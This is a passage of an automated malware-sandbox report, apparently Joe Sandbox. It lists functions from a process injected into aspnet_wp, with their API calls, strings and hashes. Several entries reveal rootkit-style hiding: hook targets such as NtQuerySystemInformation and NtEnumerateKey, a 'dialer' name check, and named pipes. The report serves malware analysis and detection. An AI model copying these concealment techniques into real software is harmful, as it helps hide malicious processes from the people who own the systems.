Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C176F
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C178F
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C17AA
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C17CA

Sleep.KERNEL32 ref: 000002109C3C1AD7
SleepEx.KERNEL32 ref: 000002109C3C1ADD

Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C17E5
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1805
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C1820
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1840
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C185B
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C187B
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C1896
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C18A0

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: f105ee5ba4e51af745b969720ca2b1ab65376c4be8228b0ce4769b814451057c
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: FB312171A4060DC2EB509B22D7E83ED73A4AB74FD0F04D4218E89972A7EFA4C6D19610

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C39273C Relevance: 1.4, APIs: 1, Instructions: 187memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002109C3927DB

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f08a9f962b62c119bd2ca5b9cc15a5a05d12ccbbb99f18b1bd2ca70c3e7d25b8
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 78612632F01A98C7DB58CF1692A47AD7392F764F94F18C121DE590378BDAB5D9A2CB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000002109C3C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002109C3C7DAC
RtlCaptureContext.NTDLL ref: 000002109C3C7DD9
RtlLookupFunctionEntry.NTDLL ref: 000002109C3C7DF3
RtlVirtualUnwind.NTDLL ref: 000002109C3C7E34
IsDebuggerPresent.KERNEL32 ref: 000002109C3C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002109C3C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002109C3C7EB4

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: ab0f1dc52411289cee16995b1f2d8b563d053e235c9c7fc50a19ef4523aa46e5
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2D315E72605B84CAEB609F60E8A43ED7370F795B44F44C42ADA8E57B95EF78C688C710

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002109C3CD31D
RtlLookupFunctionEntry.NTDLL ref: 000002109C3CD335
RtlVirtualUnwind.NTDLL ref: 000002109C3CD370
IsDebuggerPresent.KERNEL32 ref: 000002109C3CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002109C3CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002109C3CD3BE

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 19548e0cd8a0e23a0620e6c5536f7f3a94ce45537b2a00a7c14e69701c4b558c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B7318132614B84C6EB60CF25E9943DE73A0F799B54F508115EE9D53BAADF78C285CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002109C3C1319
GetProcessHeap.KERNEL32 ref: 000002109C3C1327
HeapAlloc.KERNEL32 ref: 000002109C3C1338
RegEnumValueW.ADVAPI32 ref: 000002109C3C1397

Part of subcall function 000002109C3C152C: StrCmpIW.SHLWAPI ref: 000002109C3C155D

GetProcessHeap.KERNEL32 ref: 000002109C3C13DF
HeapAlloc.KERNEL32 ref: 000002109C3C13ED
GetProcessHeap.KERNEL32 ref: 000002109C3C140A
HeapFree.KERNEL32 ref: 000002109C3C1418
lstrlenW.KERNEL32 ref: 000002109C3C1421
GetProcessHeap.KERNEL32 ref: 000002109C3C142F
HeapAlloc.KERNEL32 ref: 000002109C3C143D
StrCpyW.SHLWAPI ref: 000002109C3C145F
GetProcessHeap.KERNEL32 ref: 000002109C3C1476
HeapFree.KERNEL32 ref: 000002109C3C1484

Strings

d, xrefs: 000002109C3C135A

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eab3bb141fd860bbdc60974ba91bf1211d4e6e0e6344aa9b65f1b2396bbb7a20
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: A9514B32A00B88C6E750CF62E69839A77B1F799F85F04C124DE5A07759DF7CC2858740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002109C3C1D1F

Part of subcall function 000002109C3C1FD4: GetModuleHandleA.KERNEL32 ref: 000002109C3C1FEC
Part of subcall function 000002109C3C1FD4: GetProcAddress.KERNEL32 ref: 000002109C3C1FFD

Part of subcall function 000002109C3C5B30: GetCurrentThreadId.KERNEL32 ref: 000002109C3C5B6B

Strings

NtEnumerateValueKey, xrefs: 000002109C3C1DD6
NtQueryDirectoryFileEx, xrefs: 000002109C3C1D9C
sechost.dll, xrefs: 000002109C3C1E39
NtEnumerateKey, xrefs: 000002109C3C1DB9
EnumServicesStatusExW, xrefs: 000002109C3C1E11, 000002109C3C1E32
NtQueryDirectoryFile, xrefs: 000002109C3C1D7F
NtResumeThread, xrefs: 000002109C3C1D62
EnumServiceGroupW, xrefs: 000002109C3C1DF0
ntdll.dll, xrefs: 000002109C3C1D2D
advapi32.dll, xrefs: 000002109C3C1DF7, 000002109C3C1E18
NtDeviceIoControlFile, xrefs: 000002109C3C1E56
NtQuerySystemInformation, xrefs: 000002109C3C1D45

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 6af3f6a388bcb0745f1af5c5d4bc3250af33f9e0aed376e96fa32c5709d3ee11
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5F318C74980A4ED1FA04EF66EAF97D83320A724F44F80C113D89A235679EF983C9D350

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C396910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002109C396938
__scrt_acquire_startup_lock.LIBCMT ref: 000002109C39698A
_RTC_Initialize.LIBCMT ref: 000002109C3969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002109C3969DE
__scrt_release_startup_lock.LIBCMT ref: 000002109C396A09

Strings

`dynamic initializer for ', xrefs: 000002109C3969C7
`eh vector vbase copy constructor iterator', xrefs: 000002109C3969EE
scriptor', xrefs: 000002109C396B39, 000002109C396BB2, 000002109C396BEC
`eh vector copy constructor iterator', xrefs: 000002109C396A3B

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 0c73925b3608389dbc6d09ce86247c8be8b21902ac3fa7d1a31a43f0f0a6a525
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0681E171E0260DC6FA90AB2697F93D962B0A7B6FC0F44C025A94547797DBF8CBC58700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CCE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002109C3CCE37
FlsGetValue.KERNEL32(?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCE4C
FlsSetValue.KERNEL32(?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCE6D
FlsSetValue.KERNEL32(?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCE9A
FlsSetValue.KERNEL32(?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCEAB
FlsSetValue.KERNEL32(?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCEBC
SetLastError.KERNEL32 ref: 000002109C3CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCF0D
FlsSetValue.KERNEL32(?,?,00000001,000002109C3CECCC,?,?,?,?,000002109C3CBF9F,?,?,?,?,?,000002109C3C7AB0), ref: 000002109C3CCF2C

Part of subcall function 000002109C3CD6CC: HeapAlloc.KERNEL32 ref: 000002109C3CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCF54

Part of subcall function 000002109C3CD744: HeapFree.KERNEL32 ref: 000002109C3CD75A
Part of subcall function 000002109C3CD744: GetLastError.KERNEL32 ref: 000002109C3CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002109C3D0A6B,?,?,?,000002109C3D045C,?,?,?,000002109C3CC84F), ref: 000002109C3CCF76

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: da877fc6b6af2991666b99c9248495b749d380c74e30e8ca76d2f4e2a923e8a3
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 82415F30A8024CC2FA68A73567FD3ED22415B75FB0F24C724ACB6266D7DAA887D18700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002109C3C2259
GetCurrentProcessId.KERNEL32 ref: 000002109C3C2263

Part of subcall function 000002109C3C1934: OpenProcess.KERNEL32 ref: 000002109C3C1952
Part of subcall function 000002109C3C1934: IsWow64Process.KERNEL32 ref: 000002109C3C1968
Part of subcall function 000002109C3C1934: CloseHandle.KERNEL32 ref: 000002109C3C1983

CreateFileW.KERNEL32 ref: 000002109C3C22BC
WriteFile.KERNEL32 ref: 000002109C3C22E4
ReadFile.KERNEL32 ref: 000002109C3C2303
CloseHandle.KERNEL32 ref: 000002109C3C230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000002109C3C2293
\\.\pipe\dialerchildproc64, xrefs: 000002109C3C228C

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 2f84538e6c4310b5db22ea6463295b6c470a5c2b9fa4b51e3c316d545ef85e30
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 34213271A14644C3F7109B25F59839973B0F795B94F54C215DA6A03AE5CFBDC285CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C399944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002109C3999A1

Part of subcall function 000002109C39A814: __GetUnwindTryBlock.LIBCMT ref: 000002109C39A857
Part of subcall function 000002109C39A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002109C39A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002109C399A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002109C399CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002109C399DDA

Strings

csm, xrefs: 000002109C399A22
csm, xrefs: 000002109C399A9C
csm, xrefs: 000002109C3999BB

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: cb4053f28ff79212fcf8ecdc98f16ffd4aacfd774d87d0dc3d5e569af7671814
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 20E1AE72A04748CAEB609B65D6D83DD77A0F7A5B98F00C105EE8D47B96CBB4C6D1C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002109C3CA5A1

Part of subcall function 000002109C3CB414: __GetUnwindTryBlock.LIBCMT ref: 000002109C3CB457
Part of subcall function 000002109C3CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002109C3CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002109C3CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002109C3CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002109C3CA9DA

Strings

csm, xrefs: 000002109C3CA69C
csm, xrefs: 000002109C3CA5BB
csm, xrefs: 000002109C3CA622

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e1f3176b73b7f1783def9259b449992ec213e37500c9a96582015c6ccc233224
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: DDE1AC72A54B48CAEB209F2596D93DD77A0F765B98F00C105EEC967B8ACB74C6D1CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002109C3CF510
GetProcAddress.KERNEL32 ref: 000002109C3CF51C

Strings

api-ms-, xrefs: 000002109C3CF45A
ext-ms-, xrefs: 000002109C3CF46D

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 0868b54845a54cb7a846209012e4bdf2d870757c70f2bee707063d33dd34642b
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 81413932B51A04D1FB11CB16AAA83D923A1BB68FE0F05C1258D4EA7786DF7CC6C58304

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002109C3C10B1
RegEnumValueW.ADVAPI32 ref: 000002109C3C1117
GetProcessHeap.KERNEL32 ref: 000002109C3C115A
HeapAlloc.KERNEL32 ref: 000002109C3C1168
GetProcessHeap.KERNEL32 ref: 000002109C3C1185
HeapFree.KERNEL32 ref: 000002109C3C1193

Strings

d, xrefs: 000002109C3C10D6

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: d8de60cfc2ab7c194a7623a09a076248dbf16e25d94f3d1df51e121e49965efa
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: F7417E72614B88C6E760CF61E59839E77A1F388F88F04C129DA8A17759DF7CC589CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002109C3CC7DE,?,?,?,?,?,?,?,?,000002109C3CCF9D,?,?,00000001), ref: 000002109C3CD087
FlsSetValue.KERNEL32(?,?,?,000002109C3CC7DE,?,?,?,?,?,?,?,?,000002109C3CCF9D,?,?,00000001), ref: 000002109C3CD0A6
FlsSetValue.KERNEL32(?,?,?,000002109C3CC7DE,?,?,?,?,?,?,?,?,000002109C3CCF9D,?,?,00000001), ref: 000002109C3CD0CE
FlsSetValue.KERNEL32(?,?,?,000002109C3CC7DE,?,?,?,?,?,?,?,?,000002109C3CCF9D,?,?,00000001), ref: 000002109C3CD0DF
FlsSetValue.KERNEL32(?,?,?,000002109C3CC7DE,?,?,?,?,?,?,?,?,000002109C3CCF9D,?,?,00000001), ref: 000002109C3CD0F0

Strings

1%, xrefs: 000002109C3CD0CE
Y%, xrefs: 000002109C3CD0A6

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 1efdf8a953664c4269c05b5355601633fef5c05528188273081419f834ae412d
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 96110030E8424CC2FA6457255BF93ED62415B64FE0F14C225ECA9676DBDAA886919600

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002109C3C7538
__scrt_acquire_startup_lock.LIBCMT ref: 000002109C3C758A
_RTC_Initialize.LIBCMT ref: 000002109C3C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002109C3C75DE
__scrt_release_startup_lock.LIBCMT ref: 000002109C3C7609

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1e56cfd22932568ab6c6d98db742ad0225d54bb37f47e2fef59342e0c9305c25
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 24819E31E8060DC6FB50AF2596F93ED62A0AB76F80F14C4159E85637A7DBB8C7D58700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002109C3C9E49
GetLastError.KERNEL32 ref: 000002109C3C9E57
LoadLibraryExW.KERNEL32 ref: 000002109C3C9E81
FreeLibrary.KERNEL32 ref: 000002109C3C9EC7
GetProcAddress.KERNEL32 ref: 000002109C3C9ED3

Strings

api-ms-, xrefs: 000002109C3C9E69

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 013cb91cc2d4fdad9268953bcff396dbde7692589b34785347f7c5af4f3d6962
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5B312D31B42744D1EF11DB12A6A87D82394B779FA0F5AC525DD6E17392DFB8C2C58300

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002109C3D3DE5
GetLastError.KERNEL32 ref: 000002109C3D3DF1
CloseHandle.KERNEL32 ref: 000002109C3D3E09
CreateFileW.KERNEL32 ref: 000002109C3D3E34
WriteConsoleW.KERNEL32 ref: 000002109C3D3E53

Strings

CONOUT$, xrefs: 000002109C3D3E15

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 6b0802989ab5ae440afca8fe6acf68dfa1cf69143f78afe84eb3dae714077dca
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 3D11BC31710B45C3E7508B56E9A835973B0F798FE4F04C214EA1A477D6CFB8C6548740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C2F27
HeapAlloc.KERNEL32 ref: 000002109C3C2F3A
StrCmpNIW.SHLWAPI ref: 000002109C3C2FAF
GetProcessHeap.KERNEL32 ref: 000002109C3C3015
HeapFree.KERNEL32 ref: 000002109C3C3023

Strings

dialer, xrefs: 000002109C3C2FA8

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 981d4fa4a91b39c8285b2f815d8a6223210dfa105cee9ecffacefcf1c438cdfa
